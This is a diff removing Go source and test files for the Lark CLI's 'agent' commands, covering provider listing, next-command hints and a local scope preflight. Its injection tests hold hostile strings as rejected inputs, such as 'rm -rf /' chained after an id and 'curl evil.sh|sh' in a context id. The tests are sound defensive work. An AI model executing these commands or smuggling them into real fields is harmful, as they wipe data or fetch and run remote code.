-	if p["kind"] != string(info.Kind) {
-		t.Errorf("kind should come from ProviderInfo.Kind %q, got %v", info.Kind, p["kind"])
-	}
-	if p["agent_id_source"] != info.AgentIDSource {
-		t.Errorf("agent_id_source should come from ProviderInfo.AgentIDSource, got %v", p["agent_id_source"])
-	}
-	if _, present := p["description"]; present {
-		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
-	}
-	if _, present := p["discoverable"]; present {
-		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
-	}
-}
-
-// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
-// data.providers[] with the full field contract.
-func TestAgentListRun_EnvelopeShape(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	providers := decodeProviders(t, out)
-	if len(providers) == 0 {
-		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
-	}
-	first, ok := providers[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("provider entry should be an object, got %T", providers[0])
-	}
-	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
-		if _, present := first[key]; !present {
-			t.Errorf("provider entry missing field %q: %v", key, first)
-		}
-	}
-	if _, present := first["discoverable"]; present {
-		t.Errorf("provider entry should not contain a discoverable field: %v", first)
-	}
-}
-
-// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
-// without --format emits the JSON envelope (pretty is opt-in).
-func TestAgentListDefaultFormatIsJSON(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetArgs([]string{})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
-// row plus tab-separated provider lines, not a JSON envelope.
-func TestAgentListRun_PrettyFormat(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	opts := &listOptions{Factory: f, Format: "pretty"}
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list pretty should not error: %v", err)
-	}
-	text := out.String()
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.HasPrefix(text, "SCHEME") {
-		t.Errorf("pretty output should start with a header row: %s", text)
-	}
-	if !strings.Contains(text, "example") {
-		t.Errorf("pretty output should contain the example provider: %s", text)
-	}
-	if !strings.Contains(text, "example:<agent_id>") {
-		t.Errorf("pretty output should contain the example ref format: %s", text)
-	}
-	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
-	// "where do I get an agent_id" cue does not disappear in the pretty view.
-	if !strings.Contains(text, "agent_id 获取") {
-		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
-	}
-}
-
-// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
-// on a provider without Discoverer is unsupported_capability (exit 2) with the
-// AgentIDSource text as hint, and — because the probe runs before any client
-// construction — works on an unconfigured Factory.
-func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
-	registerScripted()
-	opts, _ := listFactory()
-	opts.Scheme = "fakeflow"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be 2, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
-		t.Errorf("message should state that listing is not supported, got %q", err.Error())
-	}
-	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
-		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
-	}
-}
-
-// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
-// invalid_argument and the message lists the registered schemes.
-func TestAgentListScheme_UnknownScheme(t *testing.T) {
-	opts, _ := listFactory()
-	opts.Scheme = "nosuch"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
-		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
-	}
-	// Hand-written validation errors carry a recovery hint pointing at
-	// `agent list` for provider discovery.
-	if !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
-	}
-}
-
-// stubCore wires the mandatory core fields onto a test *Provider; the list
-// tests never dispatch Send/GetTask (they only exercise ListAgents), but
-// Register requires both non-nil.
-func stubCore(p *iagent.Provider) *iagent.Provider {
-	p.Send = func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil }
-	p.GetTask = func(ctx context.Context, taskID string) (*iagent.AgentTask, error) { return nil, nil }
-	return p
-}
-
-// newFakeDisc is a test-only enumerable provider (wires ListAgents), to pin the
-// `agent list <scheme>` positive path without a real catalog provider.
-func newFakeDisc() *iagent.Provider {
-	return stubCore(&iagent.Provider{
-		ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
-			return []iagent.AgentSummary{
-				{AgentRef: "fakedisc:a1", Name: "Agent One", Description: "第一个"},
-				{AgentRef: "fakedisc:a2", Name: "Agent Two"},
-			}, nil
-		},
-	})
-}
-
-// registerFakeDisc registers the fakedisc scheme. Like fakepause in
-// send_test.go this leaks into the package-level registry for the remaining
-// tests of this package run — so no test in this package may assert an exact
-// provider set or provider count.
-func registerFakeDisc() {
-	iagent.Register("fakedisc", iagent.ProviderInfo{
-		Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newFakeDisc(), nil },
-		Label:          "test fake (discoverer)",
-		AgentRefFormat: "fakedisc:<agent_id>",
-		AgentIDSource:  "test only",
-		Kind:           iagent.KindCatalog,
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-	})
-}
-
-// TestAgentListScheme_DiscovererListsAgents pins the positive path: a
-// provider implementing Discoverer yields {agents:[AgentSummary...]} plus
-// meta.count.
-func TestAgentListScheme_DiscovererListsAgents(t *testing.T) {
-	registerFakeDisc()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedisc should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	agents, ok := data["agents"].([]interface{})
-	if !ok || len(agents) != 2 {
-		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
-	}
-	first, _ := agents[0].(map[string]interface{})
-	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
-		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestAgentListScheme_PropagatesIdentity pins the Task 10 review item: the
-// provider rebuilt for the real ListAgents call must carry the resolved
-// identity in its Deps (aligned with resolveProvider), not a zero As.
-func TestAgentListScheme_PropagatesIdentity(t *testing.T) {
-	var captured iagent.Deps
-	iagent.Register("fakedeps", iagent.ProviderInfo{
-		Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
-			captured = deps
-			return newFakeDisc(), nil
-		},
-		Label:          "test fake (deps capture)",
-		AgentRefFormat: "fakedeps:<agent_id>",
-		AgentIDSource:  "test only",
-		Kind:           iagent.KindCatalog,
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedeps"}
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedeps should not error: %v", err)
-	}
-	if captured.As == "" {
-		t.Error("the rebuilt provider's Deps.As should carry the resolved identity, got empty")
-	}
-	if captured.As != f.ResolvedIdentity {
-		t.Errorf("Deps.As should match the Factory's resolved identity, got %q vs %q", captured.As, f.ResolvedIdentity)
-	}
-}
-
-// newDirtyName is an enumerable provider whose agent names carry ANSI escapes,
-// to pin the pretty-path sanitization of agent-controlled fields.
-func newDirtyName() *iagent.Provider {
-	return stubCore(&iagent.Provider{
-		ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
-			return []iagent.AgentSummary{
-				{AgentRef: "fakedirty:a1", Name: "\x1b[31mEvil\x1b[0m One", Description: "d\x1b[2Jesc"},
-			}, nil
-		},
-	})
-}
-
-// TestAgentListScheme_PrettyStripsANSI pins the Task 10 review item: `agent list
-// <scheme> --format pretty` must strip ANSI escapes from the agent-controlled
-// Name/Description before they reach the terminal.
-func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
-	iagent.Register("fakedirty", iagent.ProviderInfo{
-		Factory:        func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newDirtyName(), nil },
-		Label:          "test fake (dirty names)",
-		AgentRefFormat: "fakedirty:<agent_id>",
-		AgentIDSource:  "test only",
-		Kind:           iagent.KindCatalog,
-		Identities:     []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-	})
-
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedirty pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
-		t.Errorf("readable text should remain after stripping, got %q", text)
-	}
-}
-
-// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must be registered on `agent list` and filter the envelope.
-func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"--jq", ".ok"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list --jq should not error: %v", err)
-	}
-	if got := strings.TrimSpace(out.String()); got != "true" {
-		t.Errorf("--jq .ok should output only true, got %q", got)
-	}
-}
-
-// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
-// of --format, the --jq flag presence, and that list takes at most one
-// positional arg (the scheme).
-func TestNewCmdAgentList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent list should have a --format flag")
-	}
-	if fl.DefValue != "json" {
-		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("jq") == nil {
-		t.Error("agent list should have a --jq flag")
-	}
-	if err := cmd.Args(cmd, []string{}); err != nil {
-		t.Errorf("agent list with no args should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example"}); err != nil {
-		t.Errorf("agent list <scheme> should be valid: %v", err)
-	}
-	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
-		t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
-	}
-}

cmd/agent/next_contract_test.go

@@ -1,218 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
-// contract test automatically covers any future nextForTask branch keyed on a
-// state instead of relying on hand-picked samples.
-var allTaskStates = []iagent.TaskState{
-	iagent.StateSubmitted,
-	iagent.StateWorking,
-	iagent.StateInputRequired,
-	iagent.StateAuthRequired,
-	iagent.StateCompleted,
-	iagent.StateFailed,
-	iagent.StateCanceled,
-	iagent.StateRejected,
-	iagent.StateUnknown,
-}
-
-// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
-// every next command emitted by nextForTask — across all 9 task states, with
-// and without a context id, template hints included (their <...> placeholders
-// are single space-free tokens, so they parse as ordinary flag values) — must
-// traverse and flag-parse against the real agent command tree. meta.next is
-// defined as "AI executes this verbatim", so a next that references a
-// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
-// at build time instead of by a failing acceptance run.
-func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
-	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
-	// credentials; all meta.next commands live under `lark-cli agent ...`).
-	agentTree := NewCmdAgent(nil)
-
-	for _, state := range allTaskStates {
-		for _, ctxID := range []string{"", "conversation_1"} {
-			task := &iagent.AgentTask{
-				TaskID:     "chat_1",
-				ContextID:  ctxID,
-				State:      state,
-				IsTerminal: state.IsTerminal(),
-			}
-			next := nextForTask("example:agent_x", task)
-			if len(next) == 0 {
-				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
-			}
-			for _, n := range next {
-				if state == iagent.StateAuthRequired {
-					// auth_required is an agent-side task state whose next step is
-					// the auth (re-authorize) flow, so it legitimately points OUT
-					// of the agent subtree and is not traversable against
-					// agentTree; assert its shape and skip the agent traversal.
-					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
-						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
-					}
-					continue
-				}
-				if !strings.HasPrefix(n.Command, "lark-cli agent ") {
-					t.Fatalf("next %q must target the agent subtree", n.Command)
-				}
-				// WHEN: the command string is parsed against the real tree.
-				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
-				c, flags, err := agentTree.Traverse(argv)
-				// THEN: it traverses to a leaf and its flags all exist.
-				if err != nil {
-					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
-				}
-				if c == agentTree {
-					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
-				}
-				if err := c.ParseFlags(flags); err != nil {
-					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
-				}
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
-// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
-// whole next entry (omit rather than risk injection), in every state —
-// meta.next commands are executed verbatim by AI callers, so shell
-// metacharacters in an interpolated id are command injection.
-func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
-	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
-		for _, state := range allTaskStates {
-			task := &iagent.AgentTask{TaskID: bad, State: state}
-			if next := nextForTask("example:agent_x", task); len(next) != 0 {
-				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
-			}
-		}
-	}
-}
-
-// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
-// the user-echoed ref is interpolated into every next command, so a ref that
-// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
-// suppresses the whole hint — a ref with spaces/quotes would make the command
-// un-copy-pasteable at best and an injection surface at worst.
-func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
-	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
-		if next := nextForTask(bad, task); len(next) != 0 {
-			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
-		}
-	}
-	if next := nextForTask("example:agent_x", task); len(next) == 0 {
-		t.Error("valid ref example:agent_x should keep next")
-	}
-}
-
-// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
-// its degradation semantics: a legit task_id with an injection-shaped
-// context_id (input_required branch interpolates both) keeps the hint but
-// replaces the dirty id with the <context_id> placeholder — Template:true, no
-// untrusted content interpolated.
-func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
-	dirty := "conv_1; curl evil.sh|sh"
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: dirty,
-		State:     iagent.StateInputRequired,
-	}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
-	}
-	if !next[0].Template {
-		t.Errorf("degraded hint must be template=true, got %+v", next[0])
-	}
-	if !strings.Contains(next[0].Command, "<context_id>") {
-		t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
-	}
-	if strings.Contains(next[0].Command, "conv_1") {
-		t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
-	}
-}
-
-// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
-// agent-side task state (the end user must (re)authorize in the agent), NOT a
-// text-continuation like input_required. Its next must point at the auth
-// re-authorize flow (auth login --scope), never reuse the text-continuation
-// send hint.
-func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
-	task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
-	next := nextForTask("example:agent_x", task)
-	if len(next) != 1 {
-		t.Fatalf("auth_required should produce 1 next, got %+v", next)
-	}
-	// Must NOT be the input_required text-continuation hint.
-	if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
-		t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
-	}
-	// Must point at the auth (re-authorize) flow.
-	if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
-		t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
-	}
-	// The concrete scopes come from the card, so the command carries a
-	// placeholder and must be marked template.
-	if !next[0].Template {
-		t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
-	}
-}
-
-// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
-// default: task get has --watch, not --wait, and the poll hint must suggest a
-// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
-// forever on a long task nor self-hammers with unbounded polls.
-func TestNextForTaskWatchNotWait(t *testing.T) {
-	next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
-	if len(next) == 0 {
-		t.Fatal("working task must produce a poll next")
-	}
-	if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
-		t.Fatalf("poll next must use --watch: %+v", next)
-	}
-	wantTimeout := "--timeout " + defaultWatchTimeout.String()
-	if !strings.Contains(next[0].Command, wantTimeout) {
-		t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
-	}
-}
-
-// TestNextForTaskTemplateFlag pins the template marker semantics: the
-// input_required continue hint carries a <你的答复> placeholder, so it must be
-// marked template=true (not directly executable); poll and terminal-detail
-// hints are verbatim-executable and must not carry the marker.
-func TestNextForTaskTemplateFlag(t *testing.T) {
-	// input_required with a known context: placeholder in --text → template.
-	cont := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
-	})
-	if len(cont) != 1 || !cont[0].Template {
-		t.Fatalf("input_required next must be template=true, got %+v", cont)
-	}
-	// input_required without a context id: <context_id> placeholder → template.
-	contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
-		TaskID: "chat_1", State: iagent.StateInputRequired,
-	})
-	if len(contNoCtx) != 1 || !contNoCtx[0].Template {
-		t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
-	}
-	// Poll and terminal-detail hints are directly executable → no template flag.
-	for _, task := range []*iagent.AgentTask{
-		{TaskID: "chat_1", State: iagent.StateWorking},
-		{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
-	} {
-		next := nextForTask("example:agent_x", task)
-		if len(next) != 1 || next[0].Template {
-			t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
-		}
-	}
-}

cmd/agent/preflight.go

@@ -1,133 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"sort"
-	"strings"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	larkauth "github.com/larksuite/cli/internal/auth"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// This file implements the local scope preflight: after
-// resolveProvider succeeds and before the real API call, the stored user
-// token's scope list is checked against the provider's RequiredScopes
-// declaration. The check is all-or-nothing — any real API verb requires the
-// provider's entire scope set. It is entirely local — the scope list is read
-// from the credential cache (keychain), never from the network — so a missing
-// scope surfaces as an actionable validation error (exit 2) instead of a
-// round-trip API 99991679. `--dry-run` never reaches it (dry-run returns before
-// resolveProvider), preserving its always-available contract.
-
-// storedUserScopes is the token-scope read seam: it returns the granted scope
-// list of the stored user token from the LOCAL credential cache (keychain via
-// GetStoredToken — same read path as `auth check`), issuing no network
-// request. nil/empty means "no usable local scope list" and the caller skips
-// preflight. Tests swap it so no unit test touches the real keychain.
-var storedUserScopes = func(f *cmdutil.Factory) []string {
-	if f == nil || f.Config == nil {
-		return nil
-	}
-	config, err := f.Config()
-	if err != nil || config == nil || config.UserOpenId == "" {
-		return nil
-	}
-	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
-	if stored == nil {
-		return nil
-	}
-	return strings.Fields(stored.Scope)
-}
-
-// preflightInput is the pure input of preflightScopes, so the check itself is
-// unit-testable without a Factory, keychain, or provider client.
-type preflightInput struct {
-	Identity    core.Identity
-	TokenScopes []string
-	Info        iagent.ProviderInfo
-}
-
-// preflightScopes runs the local scope check. It returns nil when the check
-// does not apply — bot identity (a tenant token has no scope-list concept; the
-// API error + errclass hint own that path) or an unreadable/empty local scope
-// list (the downstream not_configured / need-authorization logic owns that).
-// The check is all-or-nothing: when any scope in the provider's RequiredScopes
-// set is not granted it returns the missing_scope permission error
-// (exit 3, mirroring the event-consume scope preflight) carrying every missing
-// scope, with a re-auth hint whose --scope
-// merges the stored grants with the provider's FULL RequiredScopes set — auth
-// login --scope REPLACES the grant, so the hint must be copy-paste-safe
-// without dropping existing permissions.
-func preflightScopes(in preflightInput) error {
-	if in.Identity != core.AsUser || len(in.TokenScopes) == 0 {
-		return nil
-	}
-
-	granted := make(map[string]bool, len(in.TokenScopes))
-	for _, s := range in.TokenScopes {
-		granted[s] = true
-	}
-
-	var missing []string
-	for _, scope := range in.Info.RequiredScopes {
-		if !granted[scope] {
-			missing = append(missing, scope)
-		}
-	}
-	if len(missing) == 0 {
-		return nil
-	}
-	sort.Strings(missing)
-
-	// Merged re-auth scope set: existing grants ∪ the provider's FULL
-	// RequiredScopes, sorted for stability.
-	mergedSet := make(map[string]bool, len(in.TokenScopes)+len(in.Info.RequiredScopes))
-	for _, s := range in.TokenScopes {
-		mergedSet[s] = true
-	}
-	for _, s := range in.Info.RequiredScopes {
-		mergedSet[s] = true
-	}
-	merged := make([]string, 0, len(mergedSet))
-	for s := range mergedSet {
-		merged = append(merged, s)
-	}
-	sort.Strings(merged)
-
-	return errs.NewPermissionError(errs.SubtypeMissingScope,
-		"当前 user 身份缺少本命令所需 scope: %s", strings.Join(missing, ", ")).
-		WithIdentity(string(core.AsUser)).
-		WithMissingScopes(missing...).
-		WithHint("一次性补齐该 agent 全部所需 scope（已合并现有授权，照抄不丢权限）: lark-cli auth login --scope \"%s\"",
-			strings.Join(merged, " "))
-}
-
-// preflightScopesForRef is the command-layer wiring: it resolves the provider
-// registration for ref's scheme, reads the stored user scopes through the
-// seam, and runs the all-or-nothing preflight. Any gap in its own inputs (nil
-// Factory, unparsable ref, unregistered scheme) yields nil — the preflight is
-// an accelerator, never a new failure mode; the paths that validate ref/scheme
-// for real have already run inside resolveProvider.
-func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
-	if f == nil || id != core.AsUser {
-		return nil
-	}
-	r, err := iagent.ParseRef(ref)
-	if err != nil {
-		return nil //nolint:nilerr // preflight is best-effort: resolveProvider already surfaced any real ref error
-	}
-	info, ok := iagent.Info(r.Scheme)
-	if !ok {
-		return nil
-	}
-	return preflightScopes(preflightInput{
-		Identity:    id,
-		TokenScopes: storedUserScopes(f),
-		Info:        info,
-	})
-}

cmd/agent/preflight_test.go

@@ -1,365 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
-// see scripted_provider_test.go) — the all-or-nothing preflight requires every
-// one of fakescopedAllScopes for any real API verb.
-func scopedInfo(t *testing.T) iagent.ProviderInfo {
-	t.Helper()
-	registerScripted()
-	info, ok := iagent.Info("fakescoped")
-	if !ok {
-		t.Fatal("fakescoped provider should be registered")
-	}
-	return info
-}
-
-// requirePreflightError asserts err is the missing_scope permission error
-// (exit 3, mirroring the event-consume scope preflight) and returns the typed
-// value for field assertions.
-func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
-	t.Helper()
-	if err == nil {
-		t.Fatal("want missing_scope error, got nil")
-	}
-	var pe *errs.PermissionError
-	if !errors.As(err, &pe) {
-		t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
-	}
-	if pe.Subtype != errs.SubtypeMissingScope {
-		t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
-	}
-	if code := output.ExitCodeOf(err); code != 3 {
-		t.Fatalf("exit code should be 3, got %d", code)
-	}
-	return pe
-}
-
-// TestPreflightReportsAllMissingWithMergedHint is the all-or-nothing pin: the
-// check is all-or-nothing, so a user token holding only some of the provider's scopes fails
-// with EVERY missing scope named (sorted) in both the message and
-// missing_scopes, and a re-auth hint that merges the stored token scopes with
-// the provider's FULL RequiredScopes set (sorted, so re-running the login
-// command never drops an existing grant).
-func TestPreflightReportsAllMissingWithMergedHint(t *testing.T) {
-	err := preflightScopes(preflightInput{
-		Identity:    core.AsUser,
-		TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
-		Info:        scopedInfo(t),
-	})
-	ve := requirePreflightError(t, err)
-
-	wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
-	if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
-		t.Errorf("message should list all missing scopes, got %q", ve.Message)
-	}
-	if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
